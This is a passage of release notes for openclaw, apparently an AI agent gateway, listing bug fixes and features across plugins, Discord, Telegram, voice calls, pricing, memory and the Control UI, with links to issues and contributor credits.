<li>Plugins: reuse gateway-bindable plugin loader cache entries for later default-mode loads without serving default-built registries to gateway-bound requests, reducing repeated plugin registration during dispatch. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4210492312" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/61756" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/61756/hovercard" href="https://github.com/openclaw/openclaw/issues/61756">#61756</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DmitryPogodaev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DmitryPogodaev">@DmitryPogodaev</a>.</li>
<li>Gateway/secrets: include the caught error message in <code>secrets.reload</code> and <code>secrets.resolve</code> warning logs while keeping RPC errors generic, so operators can diagnose reload and permission failures. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/davidangularme/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/davidangularme">@davidangularme</a>.</li>
<li>Providers/OpenRouter/LM Studio/Anthropic: fill DeepSeek V4 <code>reasoning_content</code> replay placeholders for <code>openrouter/deepseek/deepseek-v4-flash</code> and <code>openrouter/deepseek/deepseek-v4-pro</code>, normalize binary LM Studio reasoning metadata from Gemma 4 and other local models, and recover Anthropic-compatible stream text deltas that arrive before their matching content block. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368552053" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76018" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76018/hovercard" href="https://github.com/openclaw/openclaw/issues/76018">#76018</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368472046" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76007" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76007/hovercard" href="https://github.com/openclaw/openclaw/issues/76007">#76007</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cloph-dsp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cloph-dsp">@cloph-dsp</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vliuyt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vliuyt">@vliuyt</a>.</li>
<li>fix(infra): block workspace state-directory env override [AI]. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367841633" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75940" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75940/hovercard" href="https://github.com/openclaw/openclaw/pull/75940">#75940</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>.</li>
<li>MCP/OpenAI and media: normalize parameter-free MCP tool schemas before OpenAI tool submission, honor explicit short <code>[[tts:text]]...[[/tts:text]]</code> blocks while keeping untagged short auto-TTS suppressed, and accept home-relative <code>MEDIA:~/...</code> attachment paths under the existing file-read policy. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362431372" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75362" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75362/hovercard" href="https://github.com/openclaw/openclaw/issues/75362">#75362</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4345594550" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73758" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73758/hovercard" href="https://github.com/openclaw/openclaw/issues/73758">#73758</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4346056562" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73796" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73796/hovercard" href="https://github.com/openclaw/openclaw/issues/73796">#73796</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tolkonepiu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tolkonepiu">@tolkonepiu</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SymbolStar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SymbolStar">@SymbolStar</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yfge/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yfge">@yfge</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fabkury/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fabkury">@fabkury</a>.</li>
<li>Hooks/doctor: warn when <code>hooks.transformsDir</code> points outside the canonical hooks transform directory, so invalid workspace skill paths get a direct recovery hint before the Gateway crash-loops. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367117797" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75853" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75853/hovercard" href="https://github.com/openclaw/openclaw/issues/75853">#75853</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/midobk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/midobk">@midobk</a>.</li>
<li>Proxy/audio: convert standard <code>FormData</code> bodies before proxy-backed undici fetches, so audio transcription and multipart uploads no longer send <code>[object FormData]</code> when <code>HTTP_PROXY</code> or <code>HTTPS_PROXY</code> is configured. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4085311223" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/48554" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/48554/hovercard" href="https://github.com/openclaw/openclaw/issues/48554">#48554</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dco5/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dco5">@dco5</a>.</li>
<li>Discord/setup/startup/native commands: write resolved guild/channel allowlist selections to the selected guild and channel, persist slash-command deploy hashes across process restarts, treat abort-time Carbon reconnect-exhausted events as expected shutdown during stale-socket restarts, allow explicit ack reactions in tool-only guild channels, and warn when slash dispatch or direct plugin execution produces no visible reply. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355990759" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74922" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74922/hovercard" href="https://github.com/openclaw/openclaw/issues/74922">#74922</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4186301600" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58986" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/58986/hovercard" href="https://github.com/openclaw/openclaw/issues/58986">#58986</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4176861539" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58216" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/58216/hovercard" href="https://github.com/openclaw/openclaw/pull/58216">#58216</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4079837629" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/47788" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/47788/hovercard" href="https://github.com/openclaw/openclaw/pull/47788">#47788</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347363347" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73949" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73949/hovercard" href="https://github.com/openclaw/openclaw/pull/73949">#73949</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4213236198" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62057" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/62057/hovercard" href="https://github.com/openclaw/openclaw/pull/62057">#62057</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samvilian/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samvilian">@samvilian</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BlueBirdBack/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BlueBirdBack">@BlueBirdBack</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Eldersonar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Eldersonar">@Eldersonar</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Perttulands/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Perttulands">@Perttulands</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jb510/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jb510">@jb510</a>.</li>
<li>Discord/delivery/media: use session-backed A2A announce target lookup for multi-account <code>sessions_send</code>, keep typing indicators alive during long tool runs and auto-compaction, preserve multipart Content-Type headers for uploads, preserve attachment and sticker filenames, and keep non-ASCII channel names in session labels while preserving ASCII-slug allowlists. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4055175543" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/42652" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/42652/hovercard" href="https://github.com/openclaw/openclaw/issues/42652">#42652</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4195120978" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59744" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/59744/hovercard" href="https://github.com/openclaw/openclaw/issues/59744">#59744</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4112523352" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/51626" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/51626/hovercard" href="https://github.com/openclaw/openclaw/issues/51626">#51626</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4069301815" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/44773" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/44773/hovercard" href="https://github.com/openclaw/openclaw/pull/44773">#44773</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347442555" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73975" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73975/hovercard" href="https://github.com/openclaw/openclaw/pull/73975">#73975</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/irchelper/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/irchelper">@irchelper</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dpalfox/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dpalfox">@dpalfox</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Lanfei/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Lanfei">@Lanfei</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Squirbie/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Squirbie">@Squirbie</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/FunJim/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/FunJim">@FunJim</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xela92/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xela92">@xela92</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rockcent/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rockcent">@rockcent</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/swjeong9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/swjeong9">@swjeong9</a>.</li>
<li>Discord/threads/PluralKit: canonicalize proxied webhook turns to the original message id for dedupe, inject thread starter context only on the first effective thread turn, and resolve thread <code>ownerId</code>/<code>parentId</code> from Discord API-style snake_case payload fields so bot-owned autoThreads do not require unnecessary mentions. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4047195697" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/41355" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/41355/hovercard" href="https://github.com/openclaw/openclaw/issues/41355">#41355</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4067889287" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/44447" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/44447/hovercard" href="https://github.com/openclaw/openclaw/issues/44447">#44447</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4067894290" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/44449" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/44449/hovercard" href="https://github.com/openclaw/openclaw/issues/44449">#44449</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/acgh213/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/acgh213">@acgh213</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/p3nchan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/p3nchan">@p3nchan</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mgh3326/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mgh3326">@mgh3326</a>.</li>
<li>Gateway/diagnostics: include a bounded redacted startup error message in stability bundles, so crash-loop reports identify the failing plugin or contract without exposing secrets. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4366332404" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75797" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75797/hovercard" href="https://github.com/openclaw/openclaw/issues/75797">#75797</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ymebosma/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ymebosma">@ymebosma</a>.</li>
<li>Gateway/pricing: defer optional model pricing catalog refresh until after sidecars and channels reach the ready path, so slow OpenRouter or LiteLLM pricing fetches cannot block Gateway readiness. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348322680" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74128" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74128/hovercard" href="https://github.com/openclaw/openclaw/issues/74128">#74128</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342339751" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73486" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73486/hovercard" href="https://github.com/openclaw/openclaw/pull/73486">#73486</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ctbritt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ctbritt">@ctbritt</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alprclbi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alprclbi">@alprclbi</a>.</li>
<li>Gateway/pricing: abort in-flight model pricing catalog fetches when Gateway shutdown stops the refresh loop, and avoid post-stop cache writes or refresh timers. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4331072247" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72208" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72208/hovercard" href="https://github.com/openclaw/openclaw/issues/72208">#72208</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rzcq/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rzcq">@rzcq</a>.</li>
<li>Codex/app-server: make startup retry cleanup ownership-aware so concurrent Codex lanes cannot close another lane's freshly restarted shared app-server client. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Google Meet/Twilio/Voice Call: report missing dial-in details during setup, explain that Twilio needs a phone dial plan for Meet URLs, start the phone leg before Meet PIN DTMF, delay intro speech until after post-connect dialing, log each stage, and accept provider call IDs for gateway speak/continue while reporting ended-call state from history.</li>
<li>Control UI/Talk: allow the OpenAI Realtime WebRTC offer endpoint through the Control UI CSP, configure browser sessions with explicit VAD/transcription input settings, and surface OpenAI realtime error/lifecycle events instead of leaving Talk stuck as live with no diagnostic. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4341743461" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73427" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73427/hovercard" href="https://github.com/openclaw/openclaw/issues/73427">#73427</a>.</li>
<li>Plugins: clarify config-selected duplicate plugin override diagnostics and document manifest schema updates for bundled-plugin forks. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3894832647" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/8582" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/8582/hovercard" href="https://github.com/openclaw/openclaw/issues/8582">#8582</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sachah/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sachah">@sachah</a>.</li>
<li>CLI backends/Claude: make live-session JSONL turn caps bounded and configurable via <code>reliability.outputLimits</code>, raising the default guard for tool-heavy Claude CLI turns while preserving memory limits. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367015166" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75838" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75838/hovercard" href="https://github.com/openclaw/openclaw/issues/75838">#75838</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hcordoba840/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hcordoba840">@hcordoba840</a>.</li>
<li>Telegram/DMs/network/commands: keep incidental <code>message_thread_id</code> reply-with-quote metadata on flat DM sessions unless topic isolation is configured, raise outbound text and typing Bot API guards to 60 seconds with safe timeout overrides and typing fallback retries, and register/clear command menus in default and group-chat scopes so <code>/status</code> and plugin commands stay available in forum topics. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368172291" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75975" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75975/hovercard" href="https://github.com/openclaw/openclaw/issues/75975">#75975</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368500963" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76013" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76013/hovercard" href="https://github.com/openclaw/openclaw/issues/76013">#76013</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347610813" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74032" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74032/hovercard" href="https://github.com/openclaw/openclaw/issues/74032">#74032</a>; updates <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3882532827" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/6457" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/6457/hovercard" href="https://github.com/openclaw/openclaw/pull/6457">#6457</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ProjectEvolutionEVE/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ProjectEvolutionEVE">@ProjectEvolutionEVE</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iaki1206/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iaki1206">@iaki1206</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dae-sun/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dae-sun">@dae-sun</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/WouldenShyp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/WouldenShyp">@WouldenShyp</a>.</li>
<li>Providers/OpenAI: resolve <code>keychain:&lt;service&gt;:&lt;account&gt;</code> <code>OPENAI_API_KEY</code> refs before creating OpenAI Realtime browser sessions or voice bridges, with a bounded cached Keychain lookup. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4330678787" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72120" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72120/hovercard" href="https://github.com/openclaw/openclaw/issues/72120">#72120</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ctbritt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ctbritt">@ctbritt</a>.</li>
<li>Discord/gateway: reconnect when the gateway socket closes while waiting for the shared IDENTIFY concurrency window, instead of silently skipping IDENTIFY and leaving the bot online but unresponsive. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4353606299" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74617" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74617/hovercard" href="https://github.com/openclaw/openclaw/issues/74617">#74617</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zeeskdr-ai/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zeeskdr-ai">@zeeskdr-ai</a>.</li>
<li>Voice Call: add <code>sessionScope: "per-call"</code> for fresh per-call agent memory while preserving the default per-phone caller history. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4072126400" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/45280" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/45280/hovercard" href="https://github.com/openclaw/openclaw/issues/45280">#45280</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pondcountry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pondcountry">@pondcountry</a>.</li>
<li>Music generation: raise too-small tool timeouts to the provider-safe 10-second floor and collapse cascading abort fallback errors into a clearer root-cause summary. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Memory-core/dreaming: include the primary runtime workspace in multi-agent dreaming sweeps without mixing main-agent session transcripts into configured subagent workspaces. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4307075727" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70014" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/70014/hovercard" href="https://github.com/openclaw/openclaw/issues/70014">#70014</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ttomiczek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ttomiczek">@ttomiczek</a>.</li>
<li>Control UI: add tab/RPC timing attribution and decouple slow Overview/Cron secondary refreshes so Sessions navigation gets immediate visible feedback. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4235854543" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64004" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/64004/hovercard" href="https://github.com/openclaw/openclaw/issues/64004">#64004</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/WaMaSeDu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/WaMaSeDu">@WaMaSeDu</a>.</li>
<li>Memory: retry transient SQLite index file swaps during atomic reindex on Windows, so brief <code>EBUSY</code>, <code>EPERM</code>, or <code>EACCES</code> locks do not fail memory rebuilds. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4237587612" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64187" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/64187/hovercard" href="https://github.com/openclaw/openclaw/issues/64187">#64187</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kunpeng-ai-lab/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kunpeng-ai-lab">@kunpeng-ai-lab</a>.</li>
<li>Telegram/startup/models: use the existing <code>getMe</code> request guard and higher <code>timeoutSeconds</code> configs for slow Bot API paths, and make model picker confirmations say selections are session-scoped. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4366123141" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75783" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75783/hovercard" href="https://github.com/openclaw/openclaw/issues/75783">#75783</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368057405" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75965" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75965/hovercard" href="https://github.com/openclaw/openclaw/issues/75965">#75965</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tankotan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tankotan">@tankotan</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sd1114820/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sd1114820">@sd1114820</a>.</li>
<li>Control UI/slash commands: keep fallback command metadata on a browser-safe registry path, so provider thinking runtime imports cannot blank the Web UI with <code>process is not defined</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368284321" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75987" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75987/hovercard" href="https://github.com/openclaw/openclaw/issues/75987">#75987</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/novkien/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/novkien">@novkien</a>.</li>
<li>Heartbeat/Discord: keep async exec completion events out of the generic <code>System (untrusted)</code> prompt block and let the dedicated exec heartbeat prompt handle them, so Discord no longer receives raw exec failure tails as separate system-style messages. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4259713936" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66366" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/66366/hovercard" href="https://github.com/openclaw/openclaw/issues/66366">#66366</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Promee-ThaBossHoss/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Promee-ThaBossHoss">@Promee-ThaBossHoss</a>.</li>
